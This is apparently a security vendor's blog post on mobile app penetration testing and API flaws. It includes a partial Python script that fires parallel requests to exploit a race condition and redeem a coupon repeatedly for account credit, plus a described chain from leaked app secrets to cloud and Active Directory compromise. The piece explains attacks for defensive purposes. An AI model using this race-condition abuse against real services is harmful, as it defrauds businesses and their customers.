Mobile App Security: Penetration Testing and API Vulnerabilities

Matthew Manalac
April 4, 2023
5 mins
Priyanka Baruah
August 22, 2024
5 minute read

Mobile apps have become an integral part of our daily lives. From ordering food to booking a ride, there is an app for almost everything. However, as the usage of mobile apps has grown, so has the concern around mobile app security.

The mobile app security landscape has become more complex due to the diverse range of devices, mobile operating systems, and applications. In today’s technology landscape, where mobile apps are widely used, the importance of mobile app security cannot be overstated.

One way to ensure mobile app security is to conduct mobile penetration testing. Penetration testing is a process of evaluating the security of a system or application by simulating an attack from a malicious actor. This activity helps identify vulnerabilities in an application that could be exploited by attackers. Using dynamic analysis, an attacker can monitor API requests in the mobile application communicating to different micro services. This feature expands a company’s attack surface as this can be easily overlooked.

API Security: Protecting Against Mobile App Vulnerabilities

APIs, or Application Programming Interfaces, allow different applications to communicate with each other. Mobile APIs introduce an additional threat vector that requires its own vulnerability checklist, as outlined in the OWASP API Top 10. This, combined with the OWASP Mobile Top 10, provides attackers with a multitude of options to exploit vulnerabilities.

With APIs, attackers can employ tactics like those used in web application attacks, such as broken function level authorization, looking for IDORs (Insecure Direct Object Reference) or utilizing techniques like race conditions to exploit flaws such as lack of rate limiting. The convergence of these two attack methods increases the attacker’s arsenal and emphasizes the importance of securing mobile APIs.

Below is an example of Python code to exploit a race condition to redeem a coupon more than once in quick succession and adding credit to an attacker’s account by abusing a flaw in an applications business logic:

————————————————————————————————————————————-

import json

import requests

import grequests

from time import sleep

# Define the base URL and headers for the requests

BASE_URL = “http://192.0.0.1:1337”

headers = {“Content-Type”: “application/json”}

# Define functions for making requests

def redeemAsync(email, token, code, nTimes):

data = {“email”: email, “token”: token, “code”: code}

rs = (grequests.post(BASE_URL + “/redeem”, data=json.dumps(data), headers=headers) for i in range(nTimes))

return grequests.map(rs)

def redeem(email, token, code):

data = {“email”: email, “token”: token, “code”: code}

resp = requests.post(BASE_URL + “/redeem”, data=json.dumps(data), headers=headers)

return resp.json()

def makeRequest(email, token, endpoint):

resp = requests.get(BASE_URL + endpoint, params={“email”: email, “token”: token})

return resp.json()

def getBalance(email, token):

return makeRequest(email=email, token=token, endpoint=”/balance”)

def redeemTicket(email, token):

return makeRequest(email=email, token=token, endpoint=”/redeemticket”)

if __name__ == “__main__”:

email = “name@email.com”

token = “JWT TOKEN HERE”

code = “ALTIMETRIK1337”

reqAsync = True

nTimes = 2

while True:

balanceResp = getBalance(email, token)

if “balance” in balanceResp:

balance = float(balanceResp[“balance”])

print(“Current Balance:”, balance)

if balance > 5000:

redeemTicketResp = redeemTicket(email, token)

———————————————————————————————————————————

By leveraging application data, attackers can breach cloud infrastructure and gain access to internal networks if their environment uses a hybrid solution such as Azure Active Directory. For instance, attackers can comb through the source code of a mobile app to uncover weak passwords or other vulnerabilities in the cloud infrastructure.

They can also scour through public repositories that contain old, forgotten and still valid secret keys or tokens to access cloud assets or API endpoints that are referenced in the mobile application.

Attackers can use the mobile application server as a foothold for lateral movement into the cloud network and eventually find a machine that is connected to the on-prem Active Directory and eventually gain access to the Domain Controller and compromise the internal network.

Below is an attack chain that illustrates this:

In many cases, the application may reveal information about storage locations, such as an insecure S3 bucket, which can be accessed with weak authorization mechanisms or no authorization mechanism at all. In some instances, the S3 bucket may store PCI information from customers.

This underscores the importance of securing mobile apps and their corresponding APIs to prevent attackers from exploiting vulnerabilities and gaining unauthorized access to sensitive information.

Designing Secure APIs and Comprehensive Mobile App Testing

It is important to ensure that APIs are designed with security in mind from the outset. This includes implementing authentication and authorization controls to ensure that only authorized users can access the API, as well as implementing encryption to protect sensitive data in transit. It is also important to validate input data to prevent attacks such as SQL injection and cross-site scripting.

Regular security testing and vulnerability assessments can also help identify and remediate API vulnerabilities.

To enhance the security of your mobile applications, we highly recommend conducting both static and dynamic analysis. By employing static analysis, expert security engineers can meticulously scan your application’s code to identify any potential business logic flaws, insecure permissions, and sensitive information disclosure before the application goes live.

Moreover, dynamic analysis is equally critical in detecting issues that might go unnoticed during static analysis. Security teams can monitor web traffic in real-time, examine the application from a user’s perspective, and identify any potential routes for attackers to exploit or escalate their privileges.

This thorough approach security teams to deliver an all-inclusive testing project that ensures the completeness and consistency of your mobile application. With this comprehensive testing approach, you can have confidence that your mobile application is secure, reliable, and fully optimized for seamless performance.

Conclusion

In conclusion, conducting mobile API testing is a crucial step to guarantee the security not only of mobile applications, but also of any other assets or infrastructure that might be linked to them. By thoroughly testing the APIs, potential vulnerabilities can be identified and addressed before they can be exploited by malicious actors, safeguarding your organization’s sensitive data and reputation.

Your vision, our expertise—let’s make it happen.